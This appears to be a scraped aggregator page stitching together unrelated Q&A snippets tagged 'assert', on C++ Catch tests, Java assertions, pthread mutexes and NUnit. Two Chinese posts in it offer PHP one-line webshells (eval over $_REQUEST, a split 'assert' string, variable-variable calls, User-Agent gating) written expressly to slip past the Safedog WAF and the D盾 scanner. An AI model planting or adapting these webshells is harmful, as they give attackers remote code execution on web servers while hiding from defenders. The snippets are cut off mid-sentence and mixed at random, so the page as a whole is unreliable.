assert

Use C++ catch framework to verify assert statement

与世无争的帅哥 提交于 2019-12-10 13:57:00
问题 Is it possible to use the C++ CATCH framework to verify that an assert statement correctly identifies an invalid precondition? // Source code void loadDataFile(FILE* input) { assert(input != NULL); ... } // Test code TEST_CASE("loadDataFile asserts out when passed NULL", "[loadDataFile]") { loadDataFile(NULL) // Now what do I look for? } 回答1: Assuming that the first section of your example is the source code under test and the second part is the unit test, then you'll need to make a choice in

绕过WAF-一句话木马

こ雲淡風輕ζ 提交于 2019-12-10 11:27:59
注:本次的测试环境是最新的安全狗Apache:V4.0 一句话木马:<?php eval($_REQUEST['a'])?> 1.但是这样写容易被安全狗这些拦截,所以可以考虑替换某些函数,比如eval换成assert()或者reate_function()或者是call_user_func() 2.使用end()函数来代替,可以写成: <?php eval(end($_REQUEST)); ?> 注:密码是随便写,在安全狗上是查不出来的,但是D盾会查出一个最低价的危险,所以,如果要让D盾完全测不出来可以这样写: <?php if($_SERVER['HTTP_USER_AGENT'] === '1'{ eval(end($_REQUEST));} ?> 3.字符拼接加双美元符 <?php $a='ass'; $b='ert'; $funcName=$a.$b //assert $x='funcName'; $$x($_REQUEST['a']); ?> 4.常量 <?php defin("a","$_REQUEST['a']");eval(a); ?> 5.用函数强行分割 <?php function a($a){ return $a;} eval (a($_REQUEST)['hh']); ?> 6.用类分割 <?php class User {public $name=' ';

what is the use of assert in java [duplicate]

送分小仙女□ 提交于 2019-12-10 10:53:24
问题 This question already has answers here : Closed 7 years ago . Possible Duplicate: What does assert do? assert tests the programmer's assumption during development without writing exception handlers for an exception This is what i got, when i was searching about the assert . Apart from this, people also said, it is alternative of exception handling. Assertion will come into the picture when you don't want to take the time to write the exception handling code. But, i didn't get the working and

pthread_mutex_lock __pthread_mutex_lock_full: Assertion failed with robust and 0x4000000

一世执手 提交于 2019-12-10 09:41:48
问题 I'm working on a server-side project, which is supposed to accept more than 100 client connections. It's multithreaded program using boost::thread. Some places I'm using boost::lock_guard<boost::mutex> to lock the shared member data. There is also a BlockingQueue<ConnectionPtr> which contains the input connections. The implementation of the BlockingQueue : template <typename DataType> class BlockingQueue : private boost::noncopyable { public: BlockingQueue() : nblocked(0), stopped(false) { }

recursive assert on collection

好久不见. 提交于 2019-12-10 09:11:05
问题 I would like a test like this one: [Test] public void TestCollectionAssert () { var a1 = new [] { new [] { "a" } }; var a2 = new [] { new [] { "a" } }; Assert.AreNotEqual (a1, a2); //CollectionAssert.AreEqual (a1, a2); CollectionAssert.AreEquivalent (a1, a2); } to pass. My real case is more complicated, but solving this one in a generic way will do. Any ideas? 回答1: There's a useful LINQ operator called SequenceEqual() which compares two sequences for equality. SequenceEqual() walks through

PHP7.1后webshell免杀

扶醉桌前 提交于 2019-12-10 08:31:01
严格的D盾 D盾说,我是个严格的人,看到eval我就报木马,“看着像“=”就是“木马,宁可错杀一千,绝不放过一个。好了,多说无益,一起看看严格的D盾是如何错杀的。 我随手写一个php文件:代码如下: <?php function encode($para0){ return $para0; } $b = encode("aaaa"); $a = "ccc"; eval($a); ?> 很明显没有传参呀,GET和POST都没有,压根儿就不是木马的,但是D盾竟然给我直接报了已知后门,我哭辽,如下: 大家最初的绕过应该大多都是基于”assert”的拆分和隐藏绕过的,但是在php7.1后assert已经被移除了,那么我们这些渗透测试er该何去何从呢?,能否找到新的技巧呢?当然,技巧千千万,找一些少见的函数,少见的特殊字符都是不错的选择。但是我们能否借助在php7.1之前的隐藏和拆分”assert“的思路呢?答案是肯定的,我们可以尝试隐藏和拆分传入eval中的参数来直面eval函数绕过。 隐藏POST和GET 在php7.1之后,如果我们转换思路,不再纠结于隐藏assert,eval等命令执行函数(因为assert已经失效,也无法隐藏了,无需隐藏了),而是直接面对eval,在我上述的例子中大家很容易看到,我就随便往eval中传了一个参数“ccc”,D盾就直接报已知后门了

java assert [转]

喜你入骨 提交于 2019-12-10 07:06:16
一、assertion的意义和用法 J2SE 1.4在语言上提供了一个新特性,就是assertion功能,它是该版本在Java语言方面最大的革新。 从理论上来说,通过 assertion方式可以证明程序的正确性,但是这是一项相当复杂的工作,目前还没有太多的实践意义。 在实现中,assertion就是在程序中的一条语句,它对一个boolean表达式进行检查,一个正确程序必须保证这个boolean表达式的值为true;如果该值为false,说明程序已经处于不正确的状态下, 系统将给出警告或退出 。 一般来说,assertion用于保证程序最基本、关键的正确性。assertion检查通常在开发和测试时开启。为了提高性能,在软件发布后,assertion检查通常是关闭的。 1、语法表示 在语法上,为了支持assertion,Java增加了一个关键字assert。它包括两种表达式,分别如下: assert expression1; assert expression1:expression2; 在两种表达式中,expression1表示一个boolean表达式, expression2表示一个基本类型或者是一个对象(Object),基本类型包括boolean,char,double,float,int和 long。由于所有类都为Object的子类,因此这个参数可以用于所有对象。 2、含义

Java assert 关键字使用

别说谁变了你拦得住时间么 提交于 2019-12-10 06:57:37
关于Java assert关键字的使用,参考Stack Overflow的高票回答: What are some real life examples to understand the key role of assertions? Assertions (by way of the assert keyword) were added in Java 1.4. They are used to verify the correctness of an invariant in the code. They should never be triggered in production code, and are indicative of a bug or misuse of a code path. They can be activated at run-time by way of the -ea option on the java command, but are not turned on by default. An example: public Foo acquireFoo(int id) { Foo result = null; if (id > 50) { result = fooService.read(id); } else { result =

How to detect in runtime if some Compiler Option (like Assertions) was set to ON?

亡梦爱人 提交于 2019-12-10 04:00:04
问题 What is the conditional to check if assertions are active in Delphi? I would like to be able to do something to suppress hints about unused variables when assertions are not active in code like procedure Whatever; var v : Integer; begin v := DoSomething; Assert(v >= 0); end; In the above code, when assertions are not active, there is a hint about variable v being assigned a value that is never used. The code is in a library which is going to be used in various environments, so I'd be able to

How do I insert a precondition in a java class method or constructor?

蹲街弑〆低调 提交于 2019-12-10 03:59:53
问题 This is for a java class I'm taking. The book mentions preconditions and postconditions but doesn't give any examples how to code them. It goes on to talk about asserts, I have that down, but the assignment I'm doing specifically states to insert preconditions and test the preconditions with asserts. Any help would be great. 回答1: Languages like Eiffel support "preconditions" and "postconditions" as a basic part of the language. One can make a compelling argument that the whole purpose of an